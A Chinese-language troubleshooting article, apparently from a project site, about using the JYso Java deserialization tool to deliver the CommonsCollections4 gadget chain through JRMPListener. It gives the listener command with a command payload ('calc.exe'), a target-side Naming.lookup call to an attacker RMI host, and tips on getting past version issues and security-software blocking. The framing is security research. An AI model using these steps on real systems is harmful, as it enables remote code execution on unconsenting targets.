JYso项目中的CommonsCollections4链测试问题分析与解决
2025-07-10 02:29:53作者:晏闻田Solitary
背景介绍
JYso是一个Java反序列化工具,它集成了多种常见的反序列化链(Gadget Chains),其中包括著名的CommonsCollections4(CC4)链。在实际测试中,正确使用这些链对目标系统进行功能验证是研究人员的重要工作。
问题现象
用户在使用JYso测试CC4链时遇到了几个关键问题:
- 初始尝试使用RMI协议直接调用
Deserialization/CommonsCollections4/command/Base64/Y2FsYw==路径时失败,提示RMI中没有Deserialization路由 - 改用JRMPListener方式时,在高版本JDK(17.0.11)下出现
Permit$InitializationFailed错误 - 即使切换到JDK 1.8环境,JRMPListener方式也没有成功触发功能
技术分析
RMI与JRMP协议的区别
在Java反序列化中,RMI(Remote Method Invocation)和JRMP(Java Remote Method Protocol)是两种常用的协议,但它们有以下区别:
- RMI是一个完整的远程调用框架,包含命名服务、对象序列化等功能
- JRMP是RMI底层的传输协议,专门用于Java对象序列化传输
- 在功能场景中,JRMPListener通常用于直接发送序列化对象
JDK版本兼容性问题
从错误信息可以看出,在高版本JDK(如17)中运行时出现了模块系统相关的访问限制:
java.lang.IllegalAccessError: class com.qi4l.jndi.RMIServer cannot access class com.sun.jndi.rmi.registry.ReferenceWrapper
这是由于JDK9引入的模块化系统对内部API访问进行了更严格的限制。同时,Permit$InitializationFailed错误表明工具中的反射机制在高版本JDK中无法正常工作。
CommonsCollections4链的特殊性
CC4链是Apache Commons Collections库中的一个反序列化链,相比CC1链,它:
- 使用了不同的Transformer链构造方式
- 在某些环境下可能有更高的成功率
- 对JDK版本和依赖库版本有特定要求
解决方案
经过项目维护者的确认和修复,正确的CC4链测试方法如下:
-
使用JRMPListener方式:
java -cp JYso.jar com.qi4l.jndi.exploit.JRMPListener 1099 -g CommonsCollections4 -p "calc.exe" -
JDK版本选择:
- 推荐使用JDK 1.8进行测试
- 如需使用高版本JDK,需要重新编译适配
-
目标系统调用:
Naming.lookup("rmi://attacker-ip:1099/test");
最佳实践建议
-
环境准备:
- 准备干净的JDK 1.8环境
- 确保测试环境网络连通
-
测试流程:
- 先启动JRMPListener
- 再触发目标系统的反序列化点
- 观察Listener端是否收到连接并成功发送payload
-
问题排查:
- 检查防火墙设置
- 确认JDK版本兼容性
- 验证payload是否被安全软件拦截
总结
JYso项目中的CC4链测试需要特别注意协议选择和JDK版本兼容性问题。通过使用正确的JRMPListener方式并在适当的JDK环境下运行,可以成功验证功能。对于研究人员来说,理解不同链的特性和适用环境是进行有效功能验证的关键。
登录后查看全文
热门项目推荐
相关项目推荐
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0152- DDeepSeek-V4-ProDeepSeek-V4-Pro(总参数 1.6 万亿,激活 49B)面向复杂推理和高级编程任务,在代码竞赛、数学推理、Agent 工作流等场景表现优异,性能接近国际前沿闭源模型。Python00
LongCat-Video-Avatar-1.5最新开源LongCat-Video-Avatar 1.5 版本,这是一款经过升级的开源框架,专注于音频驱动人物视频生成的极致实证优化与生产级就绪能力。该版本在 LongCat-Video 基础模型之上构建,可生成高度稳定的商用级虚拟人视频,支持音频-文本转视频(AT2V)、音频-文本-图像转视频(ATI2V)以及视频续播等原生任务,并能无缝兼容单流与多流音频输入。00
auto-devAutoDev 是一个 AI 驱动的辅助编程插件。AutoDev 支持一键生成测试、代码、提交信息等,还能够与您的需求管理系统(例如Jira、Trello、Github Issue 等)直接对接。 在IDE 中,您只需简单点击,AutoDev 会根据您的需求自动为您生成代码。Kotlin03
Intern-S2-PreviewIntern-S2-Preview,这是一款高效的350亿参数科学多模态基础模型。除了常规的参数与数据规模扩展外,Intern-S2-Preview探索了任务扩展:通过提升科学任务的难度、多样性与覆盖范围,进一步释放模型能力。Python00
skillhubopenJiuwen 生态的 Skill 托管与分发开源方案,支持自建与可选 ClawHub 兼容。Python0112
项目优选
收起
暂无描述
Dockerfile
733
4.75 K
Ascend Extension for PyTorch
Python
618
795
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
433
395
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
1.01 K
1.01 K
Claude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed.
Get Started
Rust
1.18 K
152
deepin linux kernel
C
29
16
华为昇腾面向大规模分布式训练的多模态大模型套件,支撑多模态生成、多模态理解。
Python
145
237
暂无简介
Dart
983
252
昇腾LLM分布式训练框架
Python
166
198
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.68 K
989